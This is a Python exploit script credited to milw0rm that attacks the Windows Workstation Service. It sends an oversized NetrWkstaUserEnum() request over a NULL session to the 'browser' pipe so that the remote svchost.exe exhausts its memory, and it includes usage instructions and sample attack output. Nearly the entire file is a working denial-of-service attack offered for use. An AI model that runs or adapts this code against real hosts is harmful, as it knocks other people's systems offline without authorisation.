477bcbdcc0
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127 lines
3.3 KiB
Python
Executable file
127 lines
3.3 KiB
Python
Executable file
#!/usr/bin/python
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# MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
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# Bug discovered by h07 <h07@interia.pl>
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# Tested on:..
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# - Windows XP SP2 Polish
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# - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
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# Example:
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#
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# wks_dos.py 192.168.0.2 512
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#
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# [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
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# [*] Coded by h07 <h07@interia.pl>
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# [*] Connecting to 192.168.0.2:445 (NULL Session)
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# [+] Connected
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# [+] The NETBIOS connection with the remote host timed out.
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# [+] 192.168.0.2: Out of memory
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# [+] Done
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#
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# NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
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# Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
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# svchost.exe memory usage: 512 MB
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##
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from impacket.structure import Structure
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from impacket.nmb import NetBIOSTimeout
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from impacket.dcerpc import transport
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from impacket import uuid
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from struct import pack
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from string import atoi
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from sys import argv
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from sys import exit
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print "\n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit"
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print "[*] Coded by h07 <h07@interia.pl>"
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if(len(argv) < 3):
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print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
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print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
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exit()
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MB = 1024 * 1024
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host = argv[1]
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memory_size = MB * atoi(argv[2])
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pipe = 'browser'
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UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0')
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stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
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stringbinding %= {'host':host, 'pipe':pipe}
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def utf16(str):
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return str.encode('utf_16_le')
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class B1(Structure):
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alignment = 4
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structure = (
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('id', '<L=0x41414141'),
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('max', '<L'),
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('offset', '<L=0'),
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('actual', '<L'),
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('str', '%s'),
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)
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class NetrWkstaUserEnum(Structure):
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alignment = 4
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opnum = 2
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structure = (
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('server', ':', B1),
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('info_level1', '<L=1'),
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('info_level2', '<L=1'),
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('referent_id1', '<L=0x42424242'),
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('num_entries', '<L=0'),
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('null_pointer', '<L=0'),
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('max_len', '<L'),
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('referent_id2', '<L=0x43434343'),
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('enumeration_handle', '<L=0x00000000'),
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)
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query = NetrWkstaUserEnum()
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server = "%s\x00" % (host)
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query['server'] = B1()
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query['server']['id'] = 0x41414141
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query['server']['actual'] = len(server)
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query['server']['max'] = len(server)
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query['server']['str'] = utf16(server)
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query['max_len'] = memory_size
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trans = transport.DCERPCTransportFactory(stringbinding)
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print "[*] Connecting to %s:445 (NULL Session)" % (host)
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try:
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trans.connect()
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except Exception, err:
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print "[-] %s" % (err)
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exit()
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print "[+] Connected"
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dce = trans.DCERPC_class(trans)
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dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
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dce.call(query.opnum, query)
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try:
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raw = dce.recv()
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status = raw[-4:]
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if(status == pack("<L", 0x00000005)):
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print "[-] Return code: Access denied"
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exit()
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if(status == pack("<L", 0x00000008)):
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print "[-] Return code: Memory allocation error, out of memory"
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exit()
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if(status == pack("<L", 0x00000000)):
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print "[+] Return code: Success, memory allocated"
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except NetBIOSTimeout, err:
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print "[+] %s" % (err)
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print "[+] %s: Out of memory" % (host)
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print "[+] Done"
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# EoF
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# milw0rm.com [2006-12-25]
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